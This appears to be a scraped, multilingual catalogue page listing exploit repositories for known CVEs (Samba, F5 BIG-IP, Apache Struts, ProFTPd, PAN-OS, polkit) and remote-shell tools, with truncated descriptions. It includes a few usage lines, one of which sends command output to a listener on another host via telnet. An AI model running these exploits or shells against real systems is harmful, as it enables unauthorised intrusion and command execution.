smb_usermap

smbusermap Um exploit simples para o CVE-2007-2447, presente no Samba 3.0.20. Você pode explorar essa vulnerabilidade com ainda menos que isso, por exemplo, com smbclient, mas acho que é difícil executar comandos complexos, já que muitos caracteres especiais provavelmente são perdidos, mas um...

CVE-2025-7775-vulnerable-lab

CVE-2025-7775 Verwundbares Labor Dieses Repository bietet ein verwundbares Setup zum Testen des nuclei-Templates für CVE-2025-7775. Ausführen root@kitploit: docker build -t vuln-app . docker run -d --name vuln-test -p 5000:5000 vuln-app Schwachstellentests 1. Remote-Befehlsausführung RCE...

f5scan

f5scan bt0 द्वारा CVE-2020-5902 के लिए F5 BIG IP स्कैनर इस कमजोरी के बारे में अधिक जानकारी: https://support.f5.com/csp/article/K52145254?sf235665517=1 आवश्यकताएँ: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements विकल्प root@kitploit: -h, --help show this help message and...

CVE-2024-24576-PoC---Nim

Esplorazione delle vulnerabilità di Command Injection in Windows con Nim https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true Ecco una tabella riepilogativa basata sui risultati dei test degli esperimenti con codice Nim con diversi payload:...

PyShell

PyShell PyShell è un WebShell Python multipiattaforma. Questo strumento ti aiuta a ottenere un'interfaccia simile a una shell su un server web per essere accessibile in remoto. A differenza di altre webshell, l'obiettivo principale dello strumento è utilizzare il minor codice possibile lato serve...

CVE-2017-1000117

CVE-2017-1000117 Como funciona? root@kitploit: $ git clone --recursive [email protected]:ikmski/CVE-2017-1000117.git Como criar este repositório root@kitploit: $ cat message.txt | gzip | base64 command $ git submodule add [email protected]:ikmski/Hello-World.git subs/CVE-2017-1000117 $...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd 3.2.8.1 Execução de Comando por Backdoor Exploit de execução de comando por backdoor no UnrealIRCd 3.2.8.1 em Python 3 CVE-2010-2075. Descrição A versão 3.2.8.1 do UnrealIRCd contém um cavalo de Troia que permite que atacantes remotos executem comandos arbitrários CVE-2010-2075...

struts-pwn

struts-pwn Um exploit para Apache Struts CVE-2017-5638 Uso Testando uma única URL. python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id' Testando uma lista de URLs. python struts-pwn.py --list 'urls.txt' -c 'id' Verificando se a vulnerabilidade existe em uma única...

CVE-2015-3306

ProFTPd 1.3.5 Remote-Befehlsausführung Autor : David Tavarez @davidtavarez Software: ProFTPd 1.3.5 mit modcopy Getestet : Debian 4+deb7u2 ProFTPD 1.3.4a Debian-4+deb7u1 ProFTPD 1.3.4a CVE : 2015-3306...

CVE-2025-65964

n8n Git Hooks CTF Demo ⚠️ Este repositorio es solo para fines educativos y de demostración de CTF. Escenario Una plataforma de automatización por ejemplo, n8n utiliza operaciones de Git como parte de un flujo de trabajo. El flujo de trabajo permite la configuración arbitraria de Git mediante git...

CVE-2022-1388

CVE-2022-1388 Contournement d'authentification RCE de F5 BIG-IP iControl REST CVE-2022-1388. root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd,...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Referência: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - código python para executar...

SMShell

SMShell PoC per una shell basata su SMS. Invia comandi e ricevi risposte via SMS da computer con connettività mobile a banda larga. Questo strumento è nato come ispirazione durante una ricerca sulle implicazioni di sicurezza delle eSIM condotta da Markus Vervier, presentata all'Offensivecon 2023...

CVE-2024-3400-POC

CVE-2024-3400 Script di Test RCE Panoramica Questo script Python è progettato per testare una vulnerabilità di esecuzione remota di codice RCE, specificamente CVE-2024-3400, che colpisce alcuni portali GlobalProtect di Palo Alto Networks. La vulnerabilità consente l'esecuzione non autorizzata di...

CVE-2022-1388

CVE-2022-1388 POC per CVE-2022-1388 che colpisce diversi prodotti F5. Segui l'Horizon3.ai Attack Team su Twitter per le ultime ricerche sulla sicurezza: Horizon3 Attack Team James Horseman Zach Hanley Analisi Tecnica Un'analisi tecnica delle cause principali della vulnerabilità può essere trovata...

cve-2020-0688

cve-2020-0688 Utilizzo: root@kitploit: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWOR...

CVE-2026-24061

ruby CVE-2026-24061.rb -l targets.txt --cmd "id" --threads 10 ruby CVE-2026-24061.rb -t 192.168.1.10...

CVE-2021-4034

CVE-2021-4034 Vulnerabilità di privilegi locali in polkit pkexec per aggiungere comandi personalizzati cambiare in https://github.com/signfind/CVE-2021-4034 Annulla la shell interattiva /bin/sh Adatta per l'esecuzione di comandi su una sola riga in casi particolari Build root@kitploit: gcc...

-CVE-2017-9805

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个Python利用脚本，能够在运行易受S2-052攻击的Struts2系统的shell中执行远程命令。 用法 ╭─root@blackshell / ╰─ python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability ...

CVE-2015-3224

CVE-2015-3224 Ruby-On-Rails Web Console RCE 这是什么？ 这是一个用于 Metasploit 的 metasploit 模块。 我已经有这个模块了。 是的，它被打包进了 metasploit。但使用该模块无法实现任意命令执行。 我的意思是，你只能用它建立反向/绑定 shell 载荷。我需要在 shell 中直接执行命令。因此，我修改了该 metasploit 模块，使其现在能够向系统执行单个命令。 好的。如何使用它？ 要安装此模块，你可以运行我开发的自动安装脚本，快速将其安装到你的 metasploit 中。 root@kitploit:...